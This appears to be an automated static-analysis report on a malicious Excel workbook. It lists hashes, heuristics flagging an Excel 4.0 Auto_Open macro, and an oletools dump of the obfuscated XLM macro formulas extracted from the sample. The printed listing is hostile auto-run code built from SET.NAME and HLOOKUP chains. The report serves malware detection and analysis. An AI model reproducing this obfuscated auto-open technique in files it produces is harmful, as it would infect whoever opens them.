Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f591365c960c944…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:49 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: a1fb8ab81e07e655aede8d7877a49b58 SHA-1: 0295b98f732998ab656af1389053abe6e4dfca44 SHA-256: 3f591365c960c9446f66ca93abc2a56f7816edd1fd690264094b39bcd716a408
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6848 bytes
SHA-256: 25df15c73fa802c3dfe923e46da21a63bf7ba4fa5a6ef124e287f3c2ad5ec074
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OMLblnwem
' 0018     24 LABEL : Cell Value, String Constant - acfqAypxu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C139 
' 0018     25 LABEL : Cell Value, String Constant - ELMeJJuhmx len=0 
' 0018     26 LABEL : Cell Value, String Constant - JJvgiREqSoG len=0 
' 0018     23 LABEL : Cell Value, String Constant - kOCLOLSJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - KXEUOHSEJau len=0 
' 0018     22 LABEL : Cell Value, String Constant - LcAqFth len=0 
' 0018     24 LABEL : Cell Value, String Constant - mWdtwFluC len=0 
' 0018     24 LABEL : Cell Value, String Constant - NsXXnaMcF len=0 
' 0018     20 LABEL : Cell Value, String Constant - PFPPa len=0 
' 0018     22 LABEL : Cell Value, String Constant - pGclSiw len=0 
' 0018     22 LABEL : Cell Value, String Constant - PKGTaYZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - PrwTJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - pthDHs len=0 
' 0018     24 LABEL : Cell Value, String Constant - QkTlGswHU len=0 
' 0018     27 LABEL : Cell Value, String Constant - RsSLQMgZbtqL len=0 
' 0018     22 LABEL : Cell Value, String Constant - TtqcBIv len=0 
' 0018     24 LABEL : Cell Value, String Constant - unEwGJjgI len=0 
' 0018     26 LABEL : Cell Value, String Constant - xdLtMDGfMZx len=0 
' 0018     24 LABEL : Cell Value, String Constant - XwHiAZwVR len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZsMHysfRggu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OMLblnwem,C42,"SET.NAME("JJvgiREqSoG",0+VALUE("0"))",""
'  OMLblnwem,C47,"SET.NAME("LcAqFth",JJvgiREqSoG)",""
'  OMLblnwem,C50,"SET.NAME("mWdtwFluC",JJvgiREqSoG)",""
'  OMLblnwem,C53,"SET.NAME("KXEUOHSEJau",COUNTA(PrwTJ))",""
'  OMLblnwem,C58,"SET.NAME("TtqcBIv",COUNTA(PKGTaYZ))",""
'  OMLblnwem,C60,[],""
'  OMLblnwem,C64,"SET.NAME("ZsMHysfRggu","")",""
'  OMLblnwem,C67,"LcAqFth",""
'  OMLblnwem,C72,"SET.NAME("pGclSiw",HLOOKUP("*",PrwTJ,LcAqFth,FALSE))",""
'  OMLblnwem,C74,"acfqAypxu",""
'  OMLblnwem,C76,"SET.NAME("RsSLQMgZbtqL",JJvgiREqSoG)",""
'  OMLblnwem,C81,[],""
'  OMLblnwem,C85,"RsSLQMgZbtqL",""
'  OMLblnwem,T86,"",155.00000000000000000000
'  OMLblnwem,C87,"PFPPa",""
'  OMLblnwem,T87,"",420.00000000000000000000
'  OMLblnwem,T88,"",113.00000000000000000000
'  OMLblnwem,T89,"",-359.00000000000000000000
'  OMLblnwem,T90,"",-997.00000000000000000000
'  OMLblnwem,C91,"ELMeJJuhmx",""
'  OMLblnwem,T91,"",-437.00000000000000000000
'  OMLblnwem,C95,"unEwGJjgI",""
'  OMLblnwem,C99,"SET.NAME("NsXXnaMcF",VALUE(HLOOKUP("*",PKGTaYZ,unEwGJjgI,FALSE)))",""
'  OMLblnwem,C104,"pthDHs",""
'  OMLblnwem,C109,"ZsMHysfRggu",""
'  OMLblnwem,C112,"mWdtwFluC",""
'  OMLblnwem,C116,NEXT(),""
'  OMLblnwem,C120,"QkTlGswHU",""
'  OMLblnwem,C125,[],""
'  OMLblnwem,C128,"kOCLOLSJ",""
'  OMLblnwem,C133,NEXT(),""
'  OMLblnwem,C136,RETURN(),""
'  OMLblnwem,C160,"SET.NAME("xdLtMDGfMZx",C42)",""
'  OMLblnwem,C162,"PrwTJ",""
'  OMLblnwem,C165,"SET.NAME("PKGTaYZ",R47C13)",""
'  OMLblnwem,C167,"SET.NAME("kOCLOLSJ",173)",""
'  OMLblnwem,C169,"SET.NAME("XwHiAZwVR",3)",""
'  OMLblnwem,C172,xdLtMDGfMZx(),""
'  OMLblnwem,C173,HALT(),""